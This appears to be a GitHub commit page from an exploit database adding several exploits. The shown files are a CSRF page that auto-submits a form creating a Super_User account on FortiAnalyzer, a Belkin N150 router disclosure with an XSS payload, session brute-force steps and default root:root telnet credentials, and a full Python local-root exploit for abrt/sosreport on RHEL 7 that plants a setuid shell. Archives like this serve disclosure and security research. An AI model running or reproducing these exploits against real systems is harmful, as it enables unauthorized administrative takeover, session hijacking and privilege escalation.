Skip to content

Commit b6f9265

Browse files
author
Offensive Security
committed
DB: 2015-12-02
14 new exploits
1 parent e1b6ec4 commit b6f9265

15 files changed

Lines changed: 36410 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 35106 additions & 0 deletions
Large diffs are not rendered by default.

‎platforms/hardware/remote/38824.html‎

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
source: http://www.securityfocus.com/bid/63663/info
2+
3+
FortiAnalyzer is prone to a cross-site request-forgery vulnerability because it fails to properly validate HTTP requests.
4+
5+
Exploiting this issue may allow a remote attacker to perform certain unauthorized administrative actions in the context of the device running the affected application. Other attacks are also possible.
6+
7+
Versions prior to Fortianalyzer 4.3.7 and 5.0.5 are vulnerable.
8+
9+
<html>
10+
11+
12+
13+
<body onload="CSRF.submit();">
14+
15+
16+
17+
<html>
18+
19+
20+
21+
<body onload="CSRF.submit();">
22+
23+
24+
25+
<form id="csrf"
26+
action="https://www.example.com/IP_Fortianalyzer/cgi-bin/module//sysmanager/admin/SYSAdminUserDialog";
27+
method="post" name="CSRF">
28+
29+
<input name="userId" value="user.via.cfsr"> </input>
30+
31+
<input name="type" value="0"> </input>
32+
33+
<input name="rserver" value=""> </input>
34+
35+
<input name="lserver" value=""> </input>
36+
37+
<input name="subject" value=""> </input>
38+
39+
<input name="cacerts" value="Fortinet_CA2"> </input>
40+
41+
<input name="password" value="123456"> </input>
42+
43+
<input name="password_updated" value="1"> </input>
44+
45+
<input name="confirm_pwd" value="123456"> </input>
46+
47+
<input name="confirm_pwd_updated" value="1"> </input>
48+
49+
<input name="host_1" value="0.0.0.0/0.0.0.0"> </input>
50+
51+
<input name="host_2" value="255.255.255.255/255.255.255.255"> </input>
52+
53+
<input name="host_3" value="255.255.255.255/255.255.255.255"> </input>
54+
55+
<input name="host_4" value="255.255.255.255/255.255.255.255"> </input>
56+
57+
<input name="host_5" value="255.255.255.255/255.255.255.255"> </input>
58+
59+
<input name="host_6" value="255.255.255.255/255.255.255.255"> </input>
60+
61+
<input name="host_7" value="255.255.255.255/255.255.255.255"> </input>
62+
63+
<input name="host_8" value="255.255.255.255/255.255.255.255"> </input>
64+
65+
<input name="host_9" value="255.255.255.255/255.255.255.255"> </input>
66+
67+
<input name="host_10" value="255.255.255.255/255.255.255.255"> </input>
68+
69+
<input name="host6_1"
70+
value="ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"> </input>
71+
72+
<input name="host6_2"
73+
value="ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"> </input>
74+
75+
<input name="host6_3"
76+
value="ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"> </input>
77+
78+
<input name="host6_4"
79+
value="ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"> </input>
80+
81+
<input name="host6_5"
82+
value="ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"> </input>
83+
84+
<input name="host6_6"
85+
value="ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"> </input>
86+
87+
<input name="host6_7"
88+
value="ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"> </input>
89+
90+
<input name="host6_8"
91+
value="ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"> </input>
92+
93+
<input name="host6_9"
94+
value="ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"> </input>
95+
96+
<input name="host6_10"
97+
value="ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128"> </input>
98+
99+
<input name="profile" value="Super_User"> </input>
100+
101+
<input name="alladomRDGrp" value="0"> </input>
102+
103+
<input name="_adom" value=""> </input>
104+
105+
<input name="allpackRDGrp" value="0"> </input>
106+
107+
<input name="_adom" value=""> </input>
108+
109+
<input name="allpackRDGrp" value="0"> </input>
110+
111+
<input name="_pack" value=""> </input>
112+
113+
<input name="desc" value=""> </input>
114+
115+
<input name="showForce" value="0"> </input>
116+
117+
<input name="numhosts" value="0"> </input>
118+
119+
<input name="numhosts6" value="3"> </input>
120+
121+
<input name="_comp_8" value="OK"> </input>
122+
123+
<input name="actionevent" value="new"> </input>
124+
125+
<input name="profileId" value=""> </input>
126+
127+
<input name="mgt" value=""> </input>
128+
129+
<input name="dashboard" value=""> </input>
130+
131+
<input name="dashboardmodal" value=""> </input>
132+
133+
<input name="csrf_token" value=""> </input>
134+
135+
136+
137+
138+
139+
</form>
140+
141+
</body>
142+
143+
144+
145+
</html>
146+

‎platforms/hardware/webapps/38840.txt‎

Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
##Full Disclosure:
2+
3+
#Exploit Title : Belkin N150 Wireless Home Router Multiple
4+
Vulnerabilities
5+
#Exploit Author : Rahul Pratap Singh
6+
#Date : 30/Nov/2015
7+
#Home Page Link : http://www.belkin.com
8+
#Blog Url : 0x62626262.wordpress.com
9+
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
10+
#Status : Not Patched
11+
12+
→ Vulnerability/BUG Report :
13+
14+
1)
15+
16+
• Vulnerability Title : HTML/Script Injection
17+
• Version : F9K1009 v1
18+
• Firmware : 1.00.09
19+
20+
→ Proof of Concept:
21+
22+
"InternetGatewayDevice.DeviceInfo.X_TWSZ-COM_Language" this parameter is
23+
vulnerable.
24+
25+
https://0x62626262.wordpress.com/2015/11/30/belkin-n150-router-multiple-vulnerabilities/
26+
27+
→ Steps to Reproduce:
28+
29+
Send the following post request using Burpsuite,etc
30+
31+
POST /cgi-bin/webproc HTTP/1.1
32+
Host: 192.168.2.1
33+
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:35.0) Gecko/20100101
34+
Firefox/35.0
35+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
36+
Accept-Language: en-US,en;q=0.5
37+
Accept-Encoding: gzip, deflate
38+
DNT: 1
39+
Referer:
40+
http://192.168.2.1/cgi-bin/webproc?getpage=html/page.html&var:page=deviceinfo&var:oldpage=-
41+
Cookie: sessionid=7cf2e9c5; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT
42+
Connection: keep-alive
43+
Content-Type: application/x-www-form-urlencoded
44+
Content-Length: 260
45+
46+
%3AInternetGatewayDevice.DeviceInfo.X_TWSZ-COM_Language="><script>alert("1")</script><script>"&obj-action=set&var%3Apage=deviceinfo&var%3Aerrorpage=deviceinfo&getpage=html%2Findex.html&errorpage=html%2Findex.html&var%3ACacheLastData=U1BBTl9UaW1lTnVtMT0%3D
47+
48+
2)
49+
50+
• Vulnerability Title : Session Hijacking
51+
• Version : F9K1009 v1
52+
• Firmware : 1.00.09
53+
54+
→ Proof of Concept:
55+
56+
Cookie: sessionid=7cf2e9c5; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT
57+
58+
sessionid is allocated using hex encoding and of fixed length i.e 8 .
59+
Therefore, it is very easy to bruteforce it in feasible amount for time as
60+
this session id ranges from 00000000 to ffffffff
61+
62+
→ Steps to Reproduce:
63+
64+
Send the following request using Burpsuite and Bruteforce the sessionid.
65+
66+
POST /cgi-bin/webproc HTTP/1.1
67+
Host: 192.168.2.1
68+
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:35.0) Gecko/20100101
69+
Firefox/35.0
70+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
71+
Accept-Language: en-US,en;q=0.5
72+
Accept-Encoding: gzip, deflate
73+
DNT: 1
74+
Referer:
75+
http://192.168.2.1/cgi-bin/webproc?getpage=html/page.html&var:page=deviceinfo&var:oldpage=-
76+
Cookie: sessionid=7cf2e9c5; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT
77+
78+
3)
79+
80+
• Vulnerability Title : Telnet Enabled with Default Pass
81+
• Version : F9K1009 v1
82+
• Firmware : 1.00.09
83+
84+
→ Vulnerability Details:
85+
86+
Telnet protocol can be used by an attacker to gain remote access to the
87+
router with root privileges.
88+
89+
→ Proof of Concept:
90+
91+
https://0x62626262.wordpress.com/2015/11/30/belkin-n150-router-multiple-vulnerabilities/
92+
93+
→ Steps to Reproduce:
94+
95+
1) Open terminal
96+
2) Type following command:
97+
telnet 192.168.2.1
98+
3) Default user and pass is root:root
99+
100+
4)
101+
102+
• Vulnerability Title : Cross Site Request Forgery
103+
• Version : F9K1009 v1
104+
• Firmware : 1.00.09
105+
106+
→ Proof of Concept:
107+
108+
Request doesn't contain any CSRF-token. Therefore, requests can be forged.
109+
It can be verified with any request.
110+
111+
Status:
112+
Vendor Notified: 20 Oct 2015
113+
Vendor Notified Again: 25 Nov 2015
114+
115+
No Response.
116+
117+
Full Disclosure: 30 Nov 2015
118+
119+
Ref:
120+
https://0x62626262.wordpress.com/2015/11/30/belkin-n150-router-multiple-vulnerabilities/

‎platforms/linux/local/38832.py‎

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
#!/usr/bin/python
2+
# CVE-2015-5287 (?)
3+
# abrt/sosreport RHEL 7.0/7.1 local root
4+
# rebel 09/2015
5+
6+
# [user@localhost ~]$ python sosreport-rhel7.py
7+
# crashing pid 19143
8+
# waiting for dump directory
9+
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
10+
# waiting for sosreport directory
11+
# sosreport: sosreport-localhost.localdomain-20151130194114
12+
# waiting for tmpfiles
13+
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
14+
# moving directory
15+
# moving tmpfiles
16+
# tmpurfpyY -> tmpurfpyY.old
17+
# tmpYnCfnQ -> tmpYnCfnQ.old
18+
# waiting for sosreport to finish (can take several minutes)........................................done
19+
# success
20+
# bash-4.2# id
21+
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
22+
# bash-4.2# cat /etc/redhat-release
23+
# Red Hat Enterprise Linux Server release 7.1 (Maipo)
24+
25+
import os,sys,glob,time,sys,socket
26+
27+
payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
28+
29+
pid = os.fork()
30+
31+
if pid == 0:
32+
os.execl("/usr/bin/sleep","sleep","100")
33+
34+
time.sleep(0.5)
35+
36+
print "crashing pid %d" % pid
37+
38+
os.kill(pid,11)
39+
40+
print "waiting for dump directory"
41+
42+
def waitpath(p):
43+
while 1:
44+
r = glob.glob(p)
45+
if len(r) > 0:
46+
return r
47+
time.sleep(0.05)
48+
49+
dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]
50+
51+
print "dump directory: ", dumpdir
52+
53+
os.chdir(dumpdir)
54+
55+
print "waiting for sosreport directory"
56+
57+
sosreport = waitpath("sosreport-*")[0]
58+
59+
print "sosreport: ", sosreport
60+
61+
print "waiting for tmpfiles"
62+
tmpfiles = waitpath("tmp*")
63+
64+
print "tmpfiles: ", tmpfiles
65+
66+
print "moving directory"
67+
68+
os.rename(sosreport, sosreport + ".old")
69+
os.mkdir(sosreport)
70+
os.chmod(sosreport,0777)
71+
72+
os.mkdir(sosreport + "/sos_logs")
73+
os.chmod(sosreport + "/sos_logs",0777)
74+
75+
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
76+
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")
77+
78+
print "moving tmpfiles"
79+
80+
for x in tmpfiles:
81+
print "%s -> %s" % (x,x + ".old")
82+
os.rename(x, x + ".old")
83+
open(x, "w+").write("/tmp/hax.sh\n")
84+
os.chmod(x,0666)
85+
86+
87+
os.chdir("/")
88+
89+
sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")
90+
91+
92+
def trigger():
93+
open("/tmp/hax.sh","w+").write(payload)
94+
os.chmod("/tmp/hax.sh",0755)
95+
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
96+
except: pass
97+
time.sleep(0.5)
98+
try:
99+
os.stat("/tmp/sh")
100+
except:
101+
print "could not create suid"
102+
sys.exit(-1)
103+
print "success"
104+
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
105+
sys.exit(-1)
106+
107+
for x in xrange(0,60*10):
108+
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
109+
print "done"
110+
trigger()
111+
time.sleep(1)
112+
sys.stderr.write(".")
113+
114+
print "timed out"

0 commit comments

Comments
 (0)